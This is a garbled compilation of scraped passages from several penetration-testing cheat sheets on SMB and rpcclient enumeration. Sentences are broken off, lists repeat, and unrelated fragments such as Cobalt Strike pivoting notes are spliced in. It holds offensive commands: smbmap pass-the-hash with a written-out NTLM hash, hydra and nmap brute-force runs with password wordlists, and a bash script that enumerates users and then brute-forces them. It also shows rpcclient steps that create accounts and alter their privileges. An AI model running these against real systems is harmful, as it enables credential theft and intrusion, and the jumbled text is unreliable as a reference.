queryaliasmem Query alias membership Further, when the attacker used the same SID as a parameter for lsaenumprivaccount, they were able to enumerate the levels of privileges such as high, low, and attribute. There are numerous tools and methods to perform enumeration, we will be finding different types of information on SMB throughout the article. smbmap -u '' -p '' -H $ip # similar to crackmapexec --shares, smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip, smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -r # list top level dir, smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -R # list everything recursively, smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -s wwwroot -R -A '. Cheatsheet. -d, --debuglevel=DEBUGLEVEL Set debug level --------------- ---------------------- This command will show you the shares on the host, as well as your access to them. | References: change_trust_pw Change Trust Account Password This command is made from LSA Query Security Object. This will help in getting the information such as the kind of password policies that have been enforced by the Administrator in the domain. (MS)RPC. netremotetod Fetch remote time of day DFS Checklist - Local Windows Privilege Escalation, Pentesting JDWP - Java Debug Wire Protocol, 161,162,10161,10162/udp - Pentesting SNMP, 515 - Pentesting Line Printer Daemon (LPD), 548 - Pentesting Apple Filing Protocol (AFP), 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP, 1433 - Pentesting MSSQL - Microsoft SQL Server, 1521,1522-1529 - Pentesting Oracle TNS Listener, 2301,2381 - Pentesting Compaq/HP Insight Manager, 3690 - Pentesting Subversion (svn server), 4369 - Pentesting Erlang Port Mapper Daemon (epmd), 8009 - Pentesting Apache JServ Protocol (AJP), 8333,18333,38333,18444 - Pentesting Bitcoin, 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream), 10000 - Pentesting Network Data Management Protocol (ndmp), 24007,24008,24009,49152 - Pentesting GlusterFS, 50030,50060,50070,50075,50090 - Pentesting Hadoop, Reflecting Techniques - PoCs and Polygloths CheatSheet, Dangling Markup - HTML scriptless injection, HTTP Request Smuggling / HTTP Desync Attack, Regular expression Denial of Service - ReDoS, Server Side Inclusion/Edge Side Inclusion Injection, XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations), Pentesting CI/CD (Github, Jenkins, Terraform), Windows Exploiting (Basic Guide - OSCP lvl), INE Courses and eLearnSecurity Certifications Reviews, Stealing Sensitive Information Disclosure from a Web, (represented in hexadecimal format) utilized by Windows to. C$ Disk Default share This is an enumeration cheat sheet that I created while pursuing the OSCP. password: The next command to observe is the lsaquerysecobj command. 135, 593 - Pentesting MSRPC - HackTricks ECHO | Type: STYPE_DISKTREE_HIDDEN Password: rpcclient is a part of the Samba suite on Linux distributions. -?, --help Show this help message Checklist - Local Windows Privilege Escalation, Pentesting JDWP - Java Debug Wire Protocol, 161,162,10161,10162/udp - Pentesting SNMP, 515 - Pentesting Line Printer Daemon (LPD), 548 - Pentesting Apple Filing Protocol (AFP), 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP, 1433 - Pentesting MSSQL - Microsoft SQL Server, 1521,1522-1529 - Pentesting Oracle TNS Listener, 2301,2381 - Pentesting Compaq/HP Insight Manager, 3690 - Pentesting Subversion (svn server), 4369 - Pentesting Erlang Port Mapper Daemon (epmd), 8009 - Pentesting Apache JServ Protocol (AJP), 8333,18333,38333,18444 - Pentesting Bitcoin, 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream), 10000 - Pentesting Network Data Management Protocol (ndmp), 24007,24008,24009,49152 - Pentesting GlusterFS, 50030,50060,50070,50075,50090 - Pentesting Hadoop, Reflecting Techniques - PoCs and Polygloths CheatSheet, Dangling Markup - HTML scriptless injection, HTTP Request Smuggling / HTTP Desync Attack, Regular expression Denial of Service - ReDoS, Server Side Inclusion/Edge Side Inclusion Injection, XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations), Pentesting CI/CD (Github, Jenkins, Terraform), Windows Exploiting (Basic Guide - OSCP lvl), INE Courses and eLearnSecurity Certifications Reviews, Stealing Sensitive Information Disclosure from a Web, Enumerate Users, Groups & Logged On Users, Manually enumerate windows shares and connect to them, . shutdowninit Remote Shutdown (over shutdown pipe) queryusergroups Query user groups getdriverdir Get print driver upload directory os version : 4.9 The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network. --------------- ---------------------- Password attack (Brute-force) Brute-force service password. enumprinters Enumerate printers openprinter Open printer handle result was NT_STATUS_NONE_MAPPED PORT STATE SERVICE Get help on commands # lines. setprintername Set printername 445/tcp open microsoft-ds The enum4linux utility within Kali Linux is particularly useful; with it, you can obtain the following: If you don't know what is NTLM or you want to know how it works and how to abuse it, you will find very interesting this page about. It can be used on the rpcclient shell that was generated to enumerate information about the server. --------------- ---------------------- [DATA] 1 tasks, 1 servers, 816 login tries (l:1/p:816), ~816 tries per task This group constitutes 7 attributes and 2 users are a member of this group. Copyright 2017 pentest.tonyng.net. Running something like ngrep -i -d tap0 's.?a.?m.?b.?a. --------------- ---------------------- CTF solutions, malware analysis, home lab development, Looking up status of [ip] SMB - OSCP Playbook getdriver Get print driver information Finger. All rights reserved. 548 - Pentesting Apple Filing Protocol (AFP) 554,8554 - Pentesting RTSP. enumdrivers Enumerate installed printer drivers Code execution don't work. lsalookupprivvalue Get a privilege value given its name Code & Process Injection. --------------- ---------------------- This is purely my experience with CTFs, Tryhackme, Vulnhub, and Hackthebox prior to enrolling in OSCP. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1006 rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1009 rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2002 | sign Force RPC pipe connections to be signed So, it is also a good way to enumerate what kind of services might be running on the server, this can be done using enumdomgroup. Moving on, same way, they can query info about specific AD users: Enumerate current user's privileges and many more (consult rpcclient for all available commands): Finally, of course they can run nmap if needed: Impacket provides even more tools to enumerate remote systems through compromised boxes. This problem is solved using lookupnames whereupon providing username the SID of that particular user can be extracted with ease. | Anonymous access: Sharename Type Comment rpcclient $> help Host script results: Upon running this on the rpcclient shell, it will extract the groups with their RID. getdata Get print driver data It has undergone several stages of development and stability. To begin the enumeration, a connection needs to be established. --------------- ---------------------- Software applications that run on a NetBIOS network locate and identify each other via their NetBIOS names. 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP. March 8, 2021 by Raj Chandel. I found one guy running OS X 10.4 with Samba running and one guy running Ubuntu with Samba running, oh and also one guy running XP SP0/1 vulnerable to DCOM (wont even go down that road). But it is also possible to get the password properties of individual users using the getusrdompwinfo command with the users RID. It is also possible to add and remove privileges to a specific user as well. S-1-5-21-1835020781-2383529660-3657267081-2003 LEWISFAMILY\user (2) | Disclosure date: 2017-03-14 share Disk samquerysecobj Query SAMR security object Pentesting Cheatsheets. quit Exit program rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1010 2. As from the previous commands, we saw that it is possible to create a user through rpcclient. | servers (ms17-010). There was a Forced Logging off on the Server and other important information. great when smbclient doesnt work, smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -x whoami # no work, smbmap -R $sharename -H $ip -A $fileyouwanttodownload -q, # Requires root or enough permissions to use tcpdump, # Will listen for the first 7 packets of a null login, # Will sometimes not capture or will print multiple. During our previous demonstrations, we were able to enumerate the permissions and privileges of users and groups based on the RID of that particular user. object in the NAME_DOMAIN.LOCAL domain and you will never see this paired value tied to another object in this domain or any other. lookupnames Convert names to SIDs MAC Address = 00-50-56-XX-XX-XX, [+] Finding open SMB ports. May need to run a second time for success. Common share names for windows targets are, You can try to connect to them by using the following command, # null session to connect to a windows share, # authenticated session to connect to a windows share (you will be prompted for a password), "[+] creating a null session is possible for, # no output if command goes through, thus assuming that a session was created, # echo error message (e.g. The next command to demonstrate is lookupsids. offensive security. | Disclosure date: 2006-6-27 This means that SMB is running with NetBIOS over TCP/IP**. First one - two Cobalt Strike sessions: PID 260 - beacon injected into dllhost process. There are times where these share folders may contain sensitive or Confidential information that can be used to compromise the target. Nmap done: 1 IP address (1 host up) scanned in 10.93 seconds. . | Risk factor: HIGH Try "help" to get a list of possible commands. The command netsharegetinfo followed by the name of the share you are trying to enumerate will extract details about that particular share. While Port 139 is known technically as NBT over IP, Port 445 is SMB over IP. In our previous attempt to enumerate SID, we used the lsaenumsid command. null session or valid credentials). It contains contents from other blogs for my quick reference, * nmap -sV --script=vulscan/vulscan.nse (https://securitytrails.com/blog/nmap-vulnerability-scan), masscan -p1-65535,U:1-65535 --rate=1000 10.10.10.x -e tun0 > ports, ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//'), nmap -Pn -sC -sV --script=vuln*.nse -p$ports 10.10.10.x -T5 -A, (performs full scan instead of syn-scan to prevent getting flagged by firewalls), From Apache Version to finding Ubuntu version -> ubuntu httpd versions, : Private key that is used for login. Server Message Block (SMB) is a client-server protocol that regulates access to files and entire directories and other network resources such as printers, routers, or interfaces released for the network.The main application area of the protocol has been the Windows operating system series in particular, whose network services support SMB in a downward-compatible manner - which means that . After verifying that the privilege was added using the lsaenumprivaccount command, we removed the privileges from the user using the lsaremoveacctrights command. GENERAL OPTIONS Hydra (http://www.thc.org) starting at 2007-07-27 21:51:46 [+] User SMB session establishd on [ip] Start by typing "enum" at the prompt and hitting <tab><tab>: rpcclient $> enum enumalsgroups enumdomains enumdrivers enumkey enumprivs enumdata enumdomgroups enumforms enumports enumtrust enumdataex enumdomusers enumjobs enumprinter. Reverse Shell. In this specific demonstration, there are a bunch of users that include Administrator, yashika, aarti, raj, Pavan, etc. SegFault:~/Documents/Evil cg$ hydra -l lewis -P common-passwords.txt 192.168.182.36 smb -V deldriverex Delete a printer driver with files Assumes valid machine account to this domain controller. queryuseraliases Query user aliases IPC$ NO ACCESS SMB allows you to share your resources to other computers over the network, version susceptible to known attacks (Eternal blue , wanna cry), Disabled by default in newer Windows version, reduced "chattiness" of SMB1. While Port 139 is known technically as NBT over IP, Port 445 is SMB over IP. -n, --netbiosname=NETBIOSNAME Primary netbios name This means that the attacker can now use proxychains to proxy traffic from their kali box through the beacon to the target (attacker ---> beacon ---> end target). Once we are connected using a null session we get another set of options: The hash can then be cracked offline or used in an. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1003 This command was able to enumerate two specific privileges such as SeChangeNotiftyPrivielge and SeNetworkLogonRight privilege. getdispname Get the privilege name getdompwinfo Retrieve domain password info maybe brute-force ; 22/SSH. This lab shows how it is possible to bypass commandline argument logging when enumerating Windows environments, using Cobalt Strike and its socks proxy (or any other post exploitation tool that supports socks proxying). setprinterdata Set REG_SZ printer data Learning about various kinds of compromises that can be performed using Mimikatz we know that the SID of a user is the security Identifier that can be used for a lot of elevating privileges and minting tickets attacks. setprinter Set printer comment result was NT_STATUS_NONE_MAPPED This command helps the attacker enumerate the security objects or permissions and privileges related to the security as demonstrated below. That command reveals the SIDs for different users on the domain. so lets run rpcclient with no options to see whats available: SegFault:~ cg$ rpcclient | smb-enum-shares: rpcclient $> queryuser msfadmin. | grep -oP 'UnixSamba. Ill include examples, but where I use PWK labs, Ill anonymize the data per their rules. Active Directory Enumeration: RPCClient - Hacking Articles We can also check if the user we created has been assigned a SID or not using the lookupnames command on the rpcclient. It can be observed that the os version seems to be 10.0. To look for possible exploits to the SMB version it important to know which version is being used. lsaenumprivsaccount Enumerate the privileges of an SID great when smbclient doesnt work, Rpcclient is a Linux tool used for executing client-side MS-RPC functions. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1004 Works well for listing and downloading files, and listing shares and permissions. | Anonymous access: shutdownabort Abort Shutdown (over shutdown pipe) Manh-Dung Nguyen - OSCP Enumeration - GitHub Pages Replication READ ONLY But sometimes these don't yield any interesting results. You can also fire up wireshark and list target shares with smbclient , you can use anonymous listing to explained above and after that find , # smbenum 0.2 - This script will enumerate SMB using every tool in the arsenal, echo -e "\n########## Getting Netbios name ##########", echo -e "\n########## Checking for NULL sessions ##########", output=`bash -c "echo 'srvinfo' | rpcclient $IP -U%"`, echo -e "\n########## Enumerating domains ##########", bash -c "echo 'enumdomains' | rpcclient $IP -U%", echo -e "\n########## Enumerating password and lockout policies ##########", echo -e "\n########## Enumerating users ##########", nmap -Pn -T4 -sS -p139,445 --script=smb-enum-users $IP, bash -c "echo 'enumdomusers' | rpcclient $IP -U%", bash -c "echo 'enumdomusers' | rpcclient $IP -U%" | cut -d[ -f2 | cut -d] -f1 > /tmp/$IP-users.txt, echo -e "\n########## Enumerating Administrators ##########", net rpc group members "Administrators" -I $IP -U%, echo -e "\n########## Enumerating Domain Admins ##########", net rpc group members "Domain Admins" -I $IP -U%, echo -e "\n########## Enumerating groups ##########", nmap -Pn -T4 -sS -p139,445 --script=smb-enum-groups $IP, echo -e "\n########## Enumerating shares ##########", nmap -Pn -T4 -sS -p139,445 --script=smb-enum-shares $IP, echo -e "\n########## Bruteforcing all users with 'password', blank and username as password", hydra -e ns -L /tmp/$IP-users.txt -p password $IP smb -t 1, hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt $ip smb, nmap -p445 --script smb-brute --script-args userdb=userfilehere,passdb=/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt $ip -vvvv. WORKGROUP <00> - M NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME), # returns NT_STATUS_ACCESS_DENIED or even gives you a session. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-502 [Original] As I've been working through PWK/OSCP for the last month, one thing I've noticed is that enumeration of SMB is tricky, and different tools . Null sessions were enabled by default on legacy systems but have been disabled from Windows XP SP2 and Windows Server 2003. | Anonymous access: In the case of queryusergroups, the group will be enumerated. Double pivot works the same, but you create the 2nd ssh tunnel via proxychains and a different dynamic port. After establishing the connection, to get the grasp of various commands that can be used you can run the help. -s, --configfile=CONFIGFILE Use alternative configuration file In the scenarios where there is a possibility of multiple domains in the network, there the attacker can use enumdomains to enumerate all the domains that might be deployed in that network. | Comment: -V, --version Print version, Connection options: Hydra v5.1 (c) 2005 by van Hauser / THC - use allowed only for legal purposes. rpcclient $> lookupnames root MAC Address: 00:50:56:XX:XX:XX (VMware) rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-501 | smb-vuln-ms17-010:
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